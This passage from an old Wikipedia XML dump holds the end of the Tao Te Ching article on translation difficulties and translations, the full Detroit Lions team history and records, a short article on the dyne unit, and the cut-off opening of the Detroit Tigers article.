*When many people are killed in battle, it is no time for celebration.  Treat your victory like a funeral.

==Translation==

===The difficulties of translating classical Chinese===

[[image:Tao-te-ching005.png|thumb|right|[[Tao Te Ching]] - Translation by [[Gia-Fu Feng]] and [[Jane English]]]]The ''Tao Te Ching'' is written in [[classical Chinese]], which is in itself difficult even for normally educated modern native speakers of Chinese to understand completely. Furthermore, many of the words used in the ''Tao Te Ching'' are deliberately vague and ambiguous. At the time the ''Tao Te Ching'' was written, educated Chinese who could read it would have memorized a large body of fairly standard Chinese literature, and when writing it was common to convey meaning by making allusions to other well-known works which now may have been lost. Few people today have the full command of the vast body of ancient Chinese literature that would have been common in Laozi's day, and thus many levels of subtext are potentially lost on modern translators. 

There is no punctuation in classical Chinese, and thus often no way to conclusively determine where one sentence ends and the next begins. Moving a period a few words forward or back or inserting a comma can profoundly alter the meaning of many passages, and such divisions and meanings must be determined by the translator. Some Chinese editors and some translators, indeed, argue that the text is so corrupted (as it was written on one-line bamboo tablets linked with a silk thread) that it's not possible to understand some chapters without moving sequences of characters from one place to another.

===Translations===
The ''Tao Te Ching'' is perhaps the most translated book written in the Chinese language, with over 100 different translations into English alone. The combination of being mystical and obscure means that sometimes different translations have nothing in common, suggesting that getting a deep understanding of the text requires reading more than one. A common way to do this is to pick two translations and read them side by side.

====Online versions====
=====Original =====
{{wikisource|Tao te Ching}}
* [http://afpc.asso.fr/wengu/wg/wengu.php?l=Daodejing Original text arrayed with translations] in English (Waley, Lau), French (Julien), German (Wilhelm) and modern Chinese.

=====In English=====
* An online translation by [[Charles Muller]] is available at [http://www.hm.tyg.jp/~acmuller/contao/daodejing.html Professor Muller's site: ''Daode jing''].
* An online translation by [[John H. McDonald|j.h. mcdonald]] is available at [http://www.wam.umd.edu/~stwright/rel/tao/TaoTeChing.html Religions and Scriptures: ''Tao Te Ching''].
* An online translation by [[Sonja Elen Kisa]] is available, going by the name [http://www.kisa.ca/daodejing.html ''The Flow and the Power of Good''].
* An online interpolation by Ron Hogan is available in several formats at [http://www.beatrice.com/TAO.html Beatrice.com: ''Tao Te Ching''].  An [[iPod]] formatted version of this translation is available at [http://www.swiftlytilting.com/2006/01/01/the-tao-te-ching-for-ipod/ SwiftlyTilting.com: ''The Tao Te Ching for your iPod''] 
* [[Hilmar Klaus]] [http://www.tao-te-king.org/index.html 老子Lǎozĭ 道德經Dàodéjīng trilingual: Pīnyīn/Chinese+English+German, word-by-word]
* A &quot;plain English&quot; online interpolation of Chapters 1-37 (&quot;Tao&quot;) by the [[Universal Dialectic]] Institute is available at [http://naturyl.humanists.net/taotext.html ''Tao: The Way of Nature'']
* The [[Moss Roberts]] version ''Dao De Jing: The Book of the Way'' can be searched on [[List of Google services and tools#Book_Search|Google Book Search]] though there is some restriction of content.
* [[Wayne L. Wang]] [http://www.dynamictao.com/index.html The Dynamic Tao and Its Manifestations]:''Tao and modern scientific thoughts''

[[Image:Tao Te Ching Hintonjpg.jpg|thumb|Tao Te Ching, translation by [[David Hinton]]]]
====Printed versions====
* An English translation by [[John Chalmers]] appeared in 1868.
* [[James Legge]] in ''The Texts of Taoism'', 2 vols (Sacred Books of China 39 and 40) Clarendon Press, Oxford, 1891/Humphrey Milford, London, 1891.
* [[Arthur Waley]] ''The Way and Its Power: A Study of the Tao Te Ching and its Place in Chinese Thought'', Allen &amp; Unwin, London, 1934.
* [[Witter Bynner]], ''The Way of Life According to LaoTsu:  An American Version'', John Day Company, 1944.
* [[J.J.L. Duyvendak]] ''Tao Te King: The Book of the Way and its Virtue''.  (Wisdom of the East) John Murray, London, 1954. 
* [[D.C. Lau]] ''Tao Te Ching'' Penguin Books, England, 1963
* [[Jane English]] and [[Gia-Fu Feng]] ''Tao Te Ching'' Vintage Books, New York, 1972; new introduction by [[Jacob Needleman]], 1989.
* [[Stephen Mitchell]] ''Tao te Ching, A New English Version'' (with forward and notes), HarperCollinsPublishers Inc, NY, NY, 1988. 
* [[Ellen M. Chen]] ''The Te Tao Ching: A New Translation with Commentary''.  Paragon House, New York, 1989. 
* [[Victor H. Mair]], ''Tao Te Ching: The Classic Book of Integrity and the Way'' (translation and annotations, based on the recently discovered [[Ma-wang-tui Texts]]), Bantam Books, New York, 1990. 
* [[Patrick E. Moran]] in ''Three Smaller Wisdom Books'', University Press of America, 1993.
* [[Bill Porter (author)|Red Pine]] (Bill Porter) ''Lao-Tzu's Taoteching, With Selected Commentaries of the Past 2000 Years'', Mercury House, San Francisco, 1996.
* [[Ursula K. Le Guin]] ''Lao Tzu : Tao Te Ching, a Book about the Way &amp;amp; the Power of the Way'' (a translation and commentary), Shambhala, Boston &amp; London, 1998.
* [[Robert G. Henricks]] ''Lao-tzu Te-Tao Ching'', A translation, study and comparison of the Ma Wang Tui versions with the received text with notes. Ballantine, 1989. ISBN 0345347900
* [[Robert G. Henricks]] ''Lao Tzu's Tao Te Ching: A Translation of the Startling New Documents Found at Guodian'', Columbia University Press, New York, 2000. (Contains only those chapters found in the [[Guodian Laozi]].)
* [[Jonathan Star]] ''Tao Te Ching: The Definitive Edition'' (translation and commentary), Penguin Books, NY, NY, 2001.
* [[David H. Li]], ''Dao De Jing: a New Millennium Translation''. Premier Publishing, 2001.
* [[David Hall]] and [[Roger T. Ames]] ''Dao De Jing: Making This Life Significant'', a philosophical translation including the 1993 Guodian texts.  Ballantine Books, New York, 2003.
* [[Moss Roberts]], ''Dao De Jing : The Book of the Way''.  University of California Press, 2001 and 2004. This translation claims the goal of both improving upon previous translations of Dao De Jing and providing a translation to subsequently improve upon. The book attempts to &quot;reproduce the condensed aphoristic force [of the Dao de Jing], the appeal of [it's] intriguing and often indeterminate syntax, and the prevelence of rhymed vers in [its] original [form]&quot; by avoiding prose and keeping close to the actual text. The book includes per-stanza notes on the 1973 Mawangdui versions and 1993 Guodian version of the texts as well as translation issues and an analysis in the &quot;context of the philosophical debates that raged from the time of Confucius down to the unification of the empire in 221 B.C.&quot;
* [[Wayne L. Wang]], ''Dynamic Tao and Its Manifestations: A systematic analysis of Tao philosophy''. Helena Island Publisher, Illinois, 2004. This book brings to light the relationship to modern physics. Today's readers now have a chance to understand without confusion, by using a framework based on clear and systematic Tao principles.
* John C. H. Wu, ''Tao Teh Ching''. Shambhala Dragon Editions, 1989.

==See also==
* [[Eastern philosophy]]

== External links ==

* Translations in more than twenty-one languages: [http://home.pages.at/onkellotus/ On-line ''Tao Te King'': Original Chinese text with translations, including side-by-side comparison of two or four translations]. Navigation in English or in German.
* Translations in English (Waley, Lau), French (Julien), German (Wilhelm) and modern Chinese: [http://afpc.asso.fr/wengu/wg/wengu.php?l=Daodejing On-line ''Daodejing'': Original Chinese text arrayed with translations]. 
* Several translations: [http://www.wrt.org On-line ''Tao Te Ching'']. Western Reform Taoism.
* Informal translation by Ron Hogan: [http://www.beatrice.com/TAO.html Tao (The Way)].
* Translation by Stephen Mitchell: [http://www.starstuffs.com/taoteching/ On-line ''Tao Te Ching''].
* Translation by J.H. McDonald: [http://www.wam.umd.edu/~stwright/rel/tao/TaoTeChing.html On-line ''Tao Te Ching'']. Religions and Scriptures.
* Translation by Chad Hansen: [http://www.geocities.com/tao4dummies/reading_list.html On-line ''Tao Te Ching'': both English and modern Chinese]. Also ''Zhuangzi''.
* Translation by Sonja Elen Kisa: [http://www.kisa.ca/daodejing.html On-line ''Tao Te Ching'' (selected poems)].
* Translation from the City University of Hong Kong: [http://www.ee.cityu.edu.hk/~lmpo/laozi/ On-line ''Tao Te Ching'']. Classical and Vernacular Chinese, and English.
* Interpolation by Peter Merel: [http://www.religiousworlds.com/taoism/ttcmerel.html On-line ''Tao Te Ching''].
* Commentary by Swami Nirmalananda Giri: [http://www.atmajyoti.org/spirwrit-taoism.asp Commentary on the Tao Te Ching].
* Word-by-word translations in Pīnyīn/Chinese+English+German: [http://www.tao-te-king.org/index.html 老子Lǎozĭ 道德經Dàodéjīng trilingual].

[[Category:Taoist texts]]
[[Category:Philosophy books]]

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[[fr:Dao De Jing]]
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[[vi:Đạo Đức kinh]]
[[zh:道德经]]</text>
    </revision>
  </page>
  <page>
    <title>Detroit Lions</title>
    <id>8577</id>
    <revision>
      <id>41637027</id>
      <timestamp>2006-02-28T18:23:25Z</timestamp>
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      <text xml:space="preserve">{{NFL team | name = Detroit Lions
| logo = Lions100.png
| founded = 1930
| city = Detroit, Michigan
| colors = Honolulu Blue, Silver, and Black
| coach = [[Rod Marinelli]]
| owner = [[William Clay Ford, Sr.]]
| general manager = [[Matt Millen]]
| mascot = Roary
| stations = WKRK (97.1 FM)
| announcers = Jim Brandstatter and Dan Miller
| hist_yr = 1934
| hist_misc =
* [[Portsmouth, Ohio|Portsmouth]] Spartans (1930-1933)
| NFL_start_yr = 1930
| division_hist =
*Western Division (1933-1949)
*National Conference (1950-1952)
*Western Conference (1953-1969)
**Central Division (1967-1969)
*'''[[National Football Conference]] (1970-present)'''
**[[NFC Central]] (1970-2001)
**'''[[NFC North]] (2002-present)'''
| no_league_champs = 4
| no_conf_champs = 4
| no_div_champs = 4
| league_champs =
*'''[[List of NFL champions|NFL Championships]] (4)'''&lt;br&gt;1935, 1952, 1953, 1957
| conf_champs =
*'''NFL National:''' 1952
*'''NFL Western:''' 1953, 1954, 1957
| div_champs =
*'''NFL West:''' 1935
*'''NFC Central:''' 1983, 1991, 1993
| stadium_years =
*[[Universal Stadium]] (1930-1933)
*[[University of Detroit Stadium]] (1934-1937)
*[[Tiger Stadium]] (1935-1974)
**a.k.a. Navin Field (1935-1937)
**a.k.a. Briggs Stadium (1938-1960)
*[[Pontiac Silverdome]] (1975-2001)
*'''[[Ford Field]] (2002-present)'''
}}

The '''Detroit Lions''' are a professional [[American football]] team based in [[Detroit, Michigan]]. They currently belong to the [[NFC North|Northern Division]] of the [[National Football Conference]] (NFC) in the [[National Football League]] (NFL). Originally called the '''Portsmouth Spartans''', the team began play in 1930 as one of the NFL's small town teams in [[Portsmouth, Ohio]]. However, they were forced to move to Detroit in 1934 due to the [[Great Depression]].

The Lions have won four [[List of NFL champions|NFL Championships]].

:'''Helmet design:'''  Silver helmet with a blue lion outlined in black; black facemask.

==Franchise history==
As the Portsmouth Spartans, the franchise played in an [[1932 NFL Playoff Game|unscheduled NFL championship game]] against the [[Chicago Bears]] in 1932.  The Spartans-Bears game was played because both teams ended the regular season with the same won-lost percentage (the Spartans finished at 6-1-4 while the Bears were 6-1-6; ties were not reckoned as part of the percentage in the NFL until 1972).  Due to blizzard conditions in [[Chicago, Illinois|Chicago]], the game was moved from [[Wrigley Field]] indoors to [[Chicago Stadium]], which allowed for only an 80-yard field; some have called the contest the first [[arena football]] game. The Bears won, 9-0, and the resulting interest led to the establishment of Eastern and Western conferences and a regular championship game beginning in 1933.

Poor revenues and the [[Great Depression]] led to the team's move from Portsmouth to Detroit in 1934.  That season, Detroit hosted its first ever [[Thanksgiving Day]] game, a tradition continued to this day.

Under [[quarterback]] [[Dutch Clark]], Detroit won its first NFL championship in 1935.  In 1943, the Lions and the [[New York Giants]] played to a 0-0 tie at Detroit - the last time an NFL game has ended with a scoreless tie.  

Detroit enjoyed its greatest success in the 1950s. Led by quarterback [[Bobby Layne]], they won the league championship in 1952, 1953, and 1957.  They defeated the [[Cleveland Browns]] in each of those NFL Championship Games, but also lost to the Browns in the 1954 Championship Game. 

On [[January 7]], [[1961]], the Lions defeated the Browns 17-16 in the first-ever [[Playoff Bowl]] matching the runners-up from the two conferences into which the NFL was divided at the time (the Lions also appeared in the game in both of the next two years pursuant to their having finished second to the [[Green Bay Packers]] in the Western Conference in all three seasons; the Playoff Bowl was abolished in 1970 when the merger of the NFL and [[American Football League|AFL]] went into full effect).

In the mid-1960s, the Lions served as the backdrop for the humorous sports literature of the late [[George Plimpton]], who spent time in the Lions training camp masquerading as a player.  This was the basic material for his [[book]] ''[[Paper Lion]]'', later made into a [[film|movie]].  Also during the mid 1960s, [[William Clay Ford, Sr.]] purchased a controlling interest in the team.

[[Motown]] [[soul music|soul]] [[singer]] [[Marvin Gaye]] made plans, after the death of duet partner [[Tammi Terrell]], to join the Lions and go into football. He gained weight and trained for his tryout in 1970, but was cut early on. He remained friends with a number of the players, particularly [[Mel Farr]] and [[Lem Barney]], who appear on his 1971 classic single &quot;[[What's Going On (song)|What's Going On]].&quot;

In 1980, the Lions drafted [[running back]] [[Billy Sims]] with the first overall pick in the [[NFL Draft]].  Led by Sims, the team got off to a promising start that year and attracted considerable media attention when they adopted &quot;[[Another One Bites The Dust]],&quot; popularized by [[glam rock]] band [[Queen (band)|Queen]], as an unofficial team song. Lions player [[Jimmy Allen|Jimmy &quot;Spiderman&quot; Allen]] recorded his own version of the tune with rewritten lyrics: ''Come and watch them Detroit Lions who no one seems to beat...and another one bites the dust'' which became popular on local Detroit radio. When the dust cleared, though, Detroit finished 9-7 and out of the playoffs, despite a 4-0 start.

In 1991, the Lions reached the NFC championship game after having been shut out 45-0 by the [[Washington Redskins]] on opening night, eventually going 12-4. They were inspired late in the season by the loss of guard Mike Utley who sustained a career-ending paralysis injury against the [[St. Louis Rams|Los Angeles Rams]] on November 17, 1991. As Utley was carted off the field in that game, in a true sign of courage, he flashed a &quot;thumbs up&quot; to his teammates and the Silverdome crowd. It became a rallying symbol for the remainder of the season. They won their first division title in eight years, and got their first (and to date, only) postseason victory since 1957, when they defeated the [[Dallas Cowboys]] 38-6 at the [[Pontiac Silverdome|Silverdome]]. They lost to the Redskins in the NFC championship game, 41-10 (the Lions have never beaten the Redskins in [[Washington, D.C.|Washington]] in twenty tries, going back to 1936). This was the first time a team that had been shut out in its opener had reached the conference title round, and would remain the only such occasion until both the [[Philadelphia Eagles]] and the [[New England Patriots]] did likewise in 2003 (with New England going on to win the [[Super Bowl]]).

The team has had considerable difficulty remaining competitive in recent years, going the entire 2001, 2002 and 2003 seasons without a road victory, thus becoming the only team in NFL history not to win on the road for three consecutive entire seasons.  The streak, encompassing 24 games (also an NFL record) came to an end on [[September 12]], [[2004]], when the Lions defeated the Bears 20-16 at [[Soldier Field]] in Chicago.  After starting the 2004 season 4-2, the Lions finished with a 6-10 record after numerous injuries hobbled many of their key players.

In the 2005 season, the Lions (whose home stadium, Ford Field, was the site of [[Super Bowl XL]]) won their first game against division rival Green Bay (17-3), but were humiliated by the Bears in the second game (38-6). The Lions then lost a close game to the [[Tampa Bay Buccaneers]] after a seemingly game winning touchdown was reviewed and controversially reversed (17-13). However, the Lions went to 2-2 after a win against the [[Baltimore Ravens]] (35-17).  After a last-second loss to the [[Carolina Panthers]] (21-20), [[Jeff Garcia]] was named the starting quarterback, and he led the Lions to a 13-10 win over Cleveland in Week 7. However the Lions went into week 8 and lost to the Bears once again. Garcia threw a heartbreaking interception in OT which the Bears' CB [[Charles Tillman]] returned for a TD (19-13). The next week, the Lions had high hopes as Joey Harrington was reinserted as the starter vs. the troubled Minnesota Vikings. However the Lions went down early and lost 27-14. The Lions did get a 29-21 win in week 10 against the [[Arizona Cardinals]]. However, losses to the [[Dallas Cowboys]], 20-7, and the [[Atlanta Falcons]] on Thanksgiving, 27-7, pushed their regular season record to 4-7.  As a result, head coach [[Steve Mariucci]] was fired a few days later on [[November 28]], and [[Dick Jauron]] was named interim head coach. After the release of Mariucci, Cornerback [[Dre' Bly|Dré Bly]], placed the blame on Harrington, saying that &quot;he [Harrington] had been there for 4 years and had not done anything for the team.&quot; Bly later apologized for his statement. 

Things only got worse for the Lions.  They lost their Week 13 home game to the [[Minnesota Vikings]] 27-7 amidst chants from Lions' fans of &quot;[[Matt Millen|Fire Millen]]&quot;, a reference to embattled Lions' GM [[Matt Millen]], and then dropped to 4-9 with a Week 14 road loss at [[Lambeau Field]] in overtime 16-13 to the [[Green Bay Packers]].  Even worse, they got man-handled at home on Week 15 by the [[Cincinnati Bengals]] (41-17).  With this losing record, they missed the postseason, and were unable to play Super Bowl XL on their own home turf.

Despite winning on the road against the [[New Orleans Saints]] 13-12 in the [[Alamodome]], the Lions ended their season 5-11, with a 35-21 loss against the [[Pittsburgh Steelers]] at [[Heinz Field]]. They were 1-4 under interim head coach Dick Jauron, and missed the playoffs for the sixth consecutive season.

On January 19, the Lions made their very first step in the 2006 offseason, as they hired [[Rod Marinelli]] as the teams new head coach.  From the [[Tony Dungy]] &quot;coaching tree&quot;, Marinelli had previously served as the defensive line coach and had the title of assistant coach for the [[Tampa Bay Buccaneers]].

===Season-by-season records===
{{Start NFL SBS}}
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Portsmouth Spartans'''
|-
|1930 || 5 || 6 || 3 || 8th NFL || valign=&quot;middle&quot; rowspan=&quot;2&quot; | ''The NFL did not hold playoff games until 1932''
|-
|1931 || 11 || 3 || 0 || 2nd NFL
|-
|1932 || 6 || 2 || 4 || 3rd NFL || &lt;sup&gt;#&lt;/sup&gt;
|-
|1933 || 6 || 5 || 0 || 2nd NFL West || --
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Detroit Lions'''
|-
|1934 || 10 || 3 || 0 || 2nd NFL West || --
|-
|1935 || 7 || 3 || 2 || 1st NFL West || '''Won NFL Championship'''
|-
|1936 || 8 || 4 || 0 || 3rd NFL West || --
|-
|1937 || 7 || 4 || 0 || T-2nd NFL West || --
|-
|1938 || 7 || 4 || 0 || 2nd NFL West || --
|-
|1939 || 6 || 5 || 0 || 3rd NFL West || --
|-
|1940 || 5 || 5 || 1 || 3rd NFL West || --
|-
|1941 || 4 || 6 || 1 || 3rd NFL West || -
|-
|1942 || 0 || 11 || 0 || 5th NFL West || --
|-
|1943 || 3 || 6 || 1|| 3rd NFL West || --
|-
|1944 || 6 || 3 || 1 || T-2nd NFL West || --
|-
|1945 || 7 || 3 || 0 || 2nd NFL West || --
|-
|1946 || 1 || 10 || 0 || 5th NFL West || --
|-
|1947 || 3 || 9 || 0 || 5th NFL West || --
|-
|1948 || 2 || 10 || 0 || 5th NFL West || --
|-
|1949 || 4 || 8 || 0 || 4th NFL West || --
|-
|1950 || 6 || 6 || 0 || 4th NFL NFC || --
|-
|1951 || 7 || 4 || 1 || T-2nd NFL NFC || --
|-
|1952 || 9 || 3 || 0 || 1st NFL NFC || '''Won NFL Championship'''
|-
|1953 || 10 || 2 || 0 || 1st NFC West || '''Won NFL Championship'''
|-
|1954 || 9 || 2 || 1 || 1st NFL West || Lost NFL Championship ([[Cleveland Browns|Browns]])
|-
|1955 || 3 || 9 || 0 || 6th NFL West || --
|-
|1956 || 9 || 3 || 0 || 2nd NFL West || --
|-
|1957 || 8 || 4 || 0 || 1st NFL West || '''Won NFL Championship'''
|-
|1958 || 4 || 7 || 1 || 5th NFL West || --
|-
|1959 || 3 || 8 || 1 || 5th NFL West || --
|-
|1960 || 7 || 5 || 0 || T-2nd NFL West || --
|-
|1961 || 8 || 5 || 1 || 2nd NFL West || --
|-
|1962 || 11 || 3 || 0 || 2nd NFL West || --
|-
|1963 || 5 || 8 || 1 || T-4th NFL West || --
|-
|1964 || 7 || 5 || 2 || 4th NFL West || --
|-
|1965 || 6 || 7 || 1 || 6th NFL West || --
|-
|1966 || 4 || 9 || 1 || T-6th NFL West || --
|-
|1967 || 5 || 7 || 2 || 3rd NFL Central || --
|-
|1968 || 4 || 8 || 2 || 4th NFL Central || --
|-
|1969 || 9 || 4 || 1 || 2nd NFL Central || --
|-
|1970 || 10 || 4 || 0 || 2nd NFC Central || Lost [[NFL playoffs, 1970-71|Divisional Playoffs]] ([[Dallas Cowboys|Cowboys]])
|-
|1971 || 7 || 6 || 1 || 2nd NFC Central || --
|-
|1972 || 8 || 5 || 1 || 2nd NFC Central || --
|-
|1973 || 6 || 7 || 1 || 2nd NFC Central || --
|-
|1974 || 7 || 7 || 0 || 2nd NFC Central || --
|-
|1975 || 7 || 7 || 0 || 2nd NFC Central || --
|-
|1976 || 6 || 8 || 0 || 3rd NFC Central || --
|-
|1977 || 6 || 8 || 0 || 3rd NFC Central || --
|-
|1978 || 7 || 9 || 0 || 3rd NFC Central || --
|-
|1979 || 2 || 14 || 0 || 5th NFC Central || --
|-
|1980 || 9 || 7 || 0 || 2nd NFC Central || --
|-
|1981 || 8 || 8 || 0 || 2nd NFC Central|| --
|-
|1982 || 4 || 5 || 0 || 8th NFC Conf. || Lost [[NFL playoffs, 1982-83|First Round]] ([[Washington Redskins|Redskins]])
|-
|1983 || 9 || 7 || 0 || 1st NFC Central || Lost [[NFL playoffs, 1983-84|Divisional Playoffs]] ([[San Francisco 49ers|49ers]])
|-
|1984 || 4 || 11 || 1 || 4th NFC Central || --
|-
|1985 || 7 || 9 || 0 || 4th NFC Central || --
|-
|1986 || 5 || 11 || 0 || 3rd NFC Central || --
|-
|1987 || 4 || 11 || 0 || 5th NFC Central || --
|-
|1988 || 4 || 12 || 0 || 4th NFC Central || --
|-
|1989 || 7 || 9 || 0 || 3rd NFC Central || --
|-
|1990 || 6 || 10 || 0 || 3rd NFC Central || --
|-
|1991 || 12 || 4 || 0 || 1st NFC Central || Lost [[NFL playoffs, 1991-92|Conference Championship]] ([[Washington Redskins|Redskins]])
|-
|1992 || 5 || 11 || 0 || 5th NFC Central || --
|-
|1993 || 10 || 6 || 0 || 1st NFC Central || Lost [[NFL playoffs, 1993-94|Wild Card Playoffs]] ([[Green Bay Packers|Packers]])
|-
|1994 || 9 || 7 || 0 || 3rd NFC Central || Lost [[NFL playoffs, 1994-95|Wild Card Playoffs]] ([[Green Bay Packers|Packers]])
|-
|1995 || 10 || 6 || 0 || 2nd NFC Central || Lost [[NFL playoffs, 1995-96|Wild Card Playoffs]] ([[Philadelphia Eagles|Eagles]])
|-
|1996 || 5 || 11 || 0 || 5th NFC Central|| --
|-
|1997 || 9 || 7 || 0 || 3rd NFC Central || Lost [[NFL playoffs, 1997-98|Wild Card Playoffs]] ([[Tampa Bay Buccaneers|Buccaneers]])
|-
|1998 || 5 || 11 || 0 || 4th NFC Central || --
|-
|1999 || 8 || 8 || 0 || 3rd NFC Central || Lost [[NFL playoffs, 1999-2000|Wild Card Playoffs]] ([[Washington Redskins|Redskins]])
|-
|2000 || 9 || 7 || 0 || 4th NFC Central || --
|-
|2001 || 2 || 14 || 0 || 5th NFC Central || --
|-
|2002 || 3 || 13 || 0 || 4th NFC North || --
|-
|2003 || 5 || 11 || 0 || 4th NFC North || --
|-
|2004 || 6 || 10 || 0 || 3rd NFC North || --
|-
|2005 || 5 || 11 || 0 || 3rd NFC North || --
|}

&lt;small&gt;&lt;nowiki&gt;#&lt;/nowiki&gt;=The result of the [[1932 NFL Playoff Game]] to determine the NFL champion between the [[Chicago Bears]] and the Portsmouth Spartans counted in the standings.&lt;/small&gt;

^At the end of the [[2005 NFL season]], the Portsmouth Spartans/Detroit Lions franchise is 485-541-32 (including playoffs).

==Players of note==
===Current roster===
{{Template:Detroit Lions roster}}

===[[Pro Football Hall of Fame]]rs===
[[Image:DetroitLions 100.png|right|framed|Lions logo (1970-2002). This version of the logo had white and blue outlines instead of the black one that is on the current logo.]]
* 7 [[Dutch Clark]], QB (1963)
* 35 [[Bill Dudley]], HB (1966)
* 22 [[Bobby Layne]], QB (1967) 
* 50 [[Alex Wojciechowicz]], C, LB (1968)
* 14 [[Jack Christiansen]], DB (1970)
* 56 [[Joe Schmidt]], LB (1973)
* 81 [[Dick Lane|Dick &quot;Night Train&quot; Lane]], DB (1974)
* 28 [[Yale Lary]], DB, P (1979)
* 37 [[Doak Walker]], HB (1986)
* 20 [[Lem Barney]], DB (1992)
* 76 [[Lou Creekmur]], G, T (1996)
* 20 [[Barry Sanders]], RB (2004)

===Retired numbers===
*[[Dutch Clark]] (7)
*[[Lem Barney]] (20)
*[[Billy Sims]] (20)
*[[Barry Sanders]] (20) 
**'''Note:''' The #20 was retired specifically for Sanders, but most people recognize the retired number as representing Barney and Sims, both of whom are noteworthy Lions, as well.

*[[Bobby Layne]] (22)
*[[Doak Walker]] (37)
*[[Joe Schmidt]] (56)
*[[Chuck Hughes]] (85)
**'''Note:''' Hughes died of a heart attack during a game on [[October 24]], 1971, and his number was unofficially retired in that no player has worn it since.  Currently, receiver Kevin Johnson is wearing #85 after asking permission from the Hughes family as he has worn that number throughout his professional career.

*[[Charlie Sanders]] (88)
**'''Note:''' The #88 has been in and out of the rotation in recent years. Currently, it is being used by wide receiver Mike Williams.

===Not to be forgotten===
*[[Eric Andolsek]]
*[[Jerry Ball]]
*[[Lomas Brown]]
*[[Roger Brown]]
*[[Jeff Chadwick]]
*[[Harry Colon]]
*[[Chip Cox]]
*[[Mel Farr]]
*[[Alex Karras]]
*[[Greg Landry]]
*[[Dick LeBeau]]
*[[Chuck Long]]
*[[Earl Morrall]]
*[[Herman Moore]]
*[[Rodney Peete]]
*[[Milt Plum]]
*[[Robert Porcher]]
*[[Glenn Presnell]]
*[[Chris Spielman]]
*[[Pat Swilling]]
*[[Mike Utley]]
*[[Wayne Walker]]

==Head Coaches==
*[[Hal Griffin]] (1930)
*[[George Clark (football coach)|George &quot;Potsy&quot; Clark]] (1931-1936)
*[[Dutch Clark|Earl &quot;Dutch&quot; Clark]] (1937-1938)
*[[Gus Henderson|Elmer &quot;Gus&quot; Henderson]] (1939)
*[[George Clark (football coach)|George &quot;Potsy&quot; Clark]] (1940)
*[[Bill Edwards (football coach)|Bill Edwards]] (1941-1942)
*[[John Karcis]] (1942)
*[[Gus Dorais|Charles &quot;Gus&quot; Dorais]] (1943-1947)
*[[Bo McMillan|Alvin &quot;Bo&quot; McMillan]] (1948-1950)
*[[Buddy Parker]] (1951-1956)
*[[George Wilson (football coach)|George Wilson]] (1957-1964)
*[[Harry Gilmer]] (1965-1966)
*[[Joe Schmidt]] (1967-1972)
*[[Don McCafferty]] (1973)
*[[Rick Forzano]] (1974-1976)
*[[Tommy Hudspeth]] (1976-1977)
*[[Monte Clark]] (1978-1984)
*[[Darryl Rogers]] (1985-1988)
*[[Wayne Fontes]] (1988-1996)
*[[Bobby Ross]] (1997-2000)
*[[Gary Moeller]] (2000)
*[[Marty Mornhinweg]] (2001-2002)
*[[Steve Mariucci]] (2003-2005)
*[[Dick Jauron]] (2005) (interim)
*[[Rod Marinelli]] (2006-present)

===Current Staff===
*General Manager - [[Matt Millen]]
*Head Coach - [[Rod Marinelli]]
*Offensive Coordinator - [[Mike Martz]]
*Defensive Coordinator - [[Donnie Henderson]]
*Special Teams Coach - [[Chuck Priefer]]
*Quarterbacks Coach - [[Mike Martz]]
*Running Backs Coach - [[Wilbert Montgomery]]
*Wide Receivers Coach - [[Kippy Brown]]
*Tight Ends Coach - [[Pat Carter]]
*Offensive Line Coach - [[Larry Beightol]]
*Offensive Assistant - [[Shawn Jefferson]]
*Offensive Quality Control - [[Adam Gase]]
*Defensive Line Coach - [[Joe Cullen]]
*Linebackers Coach - [[Phil Snow]]
*Defensive Backs Coach - [[TBA]]
*Defensive Assistant - [[Don Clemons]]
*Strength and Conditioning - [[Jason Arapoff]]

==External links==
*[http://www.detroitlions.com/ Detroit Lions official web site]&lt;br&gt;
* [http://wtfdetroit.com WTFDetroit.com Your source for up to date Lions and other NFL News And talk]
*[http://www.portsmouthspartans.org/ Portsmouth Spartans Historical Society]
*[http://www.motownlions.com MotownLions.com - Fan forum]
*[http://www.sportsecyclopedia.com/nfl/det/lions.html Sports E-Cyclopedia.com]

{{NFL}}

[[Category:Detroit Lions| ]]
[[Category:Sports in Detroit, Michigan]]
[[Category:National Football League teams]]
[[Category:1930 establishments]]

[[de:Detroit Lions]]
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[[sv:Detroit Lions]]</text>
    </revision>
  </page>
  <page>
    <title>Dyne</title>
    <id>8578</id>
    <revision>
      <id>25611602</id>
      <timestamp>2005-10-15T21:40:41Z</timestamp>
      <contributor>
        <ip>69.109.243.150</ip>
      </contributor>
      <text xml:space="preserve">In [[physics]], the '''dyne''' is a [[unit]] of [[Force (physics)|force]] specified in the ''[[Centimeter-gram-second system of units|centimetre-gram-second]]'' (cgs) [[system of units]], symbol &quot;dyn&quot;. One dyne is equal to exactly 10&lt;sup&gt;-5&lt;/sup&gt; [[newton]]s.  Further, the dyne can be defined as &quot;the force required to accelerate a [[mass]] of one [[gram]] at a rate of one [[centimetre]] per [[second]] squared.&quot;

{{Units of force}}

[[Category:CGS units]]

F. f. Greek &amp;delta;&amp;upsilon;&amp;nu;&amp;alpha;&amp;mu;&amp;iota;&amp;sigmaf; (''dunamis'') power, force.

[[de:Dyn]]
[[fr:Dyne]]
[[it:Dyne]]
[[nl:Dyne]]
[[ja:ダイン]]
[[pl:Dyna]]
[[ru:Дина]]
[[sl:Dina]]
[[zh:达因]]</text>
    </revision>
  </page>
  <page>
    <title>Detroit Tigers</title>
    <id>8579</id>
    <revision>
      <id>41266181</id>
      <timestamp>2006-02-26T04:17:54Z</timestamp>
      <contributor>
        <ip>69.221.36.85</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{MLB infobox Tigers}}

The '''Detroit Tigers''' are a [[Major League Baseball]] team based in [[Detroit, Michigan]].   They are in the [[American League Central|American League's Central Division]].  Since 1992 they have been owned by [[Mike Ilitch]], founder of [[Little Caesars|Little Caesars Pizza]] and owner of the [[National Hockey League|NHL]]'s [[Detroit Red Wings]].

== Franchise history ==
===The early years===
The '''Detroit Tigers''' played their first game as a major league team in the American League on [[April 25]], [[1901]] at [[Bennett Park]] in front of 10,000 fans against the Milwaukee Brewers. After trailing 13-4 entering the ninth inning, the team staged a dramatic comeback to win the game 14-13.  The Tigers originally played in the minor Western League.

There are various legends about how the Tigers got their [[nickname]]. One has to do with the orange stripes they wore on their black stockings. Another has to do with a sportswriter equating that [[1901]] Detroit club's opening day victory to the ferocity of his alma mater, the [[Princeton University|Princeton Tigers]].

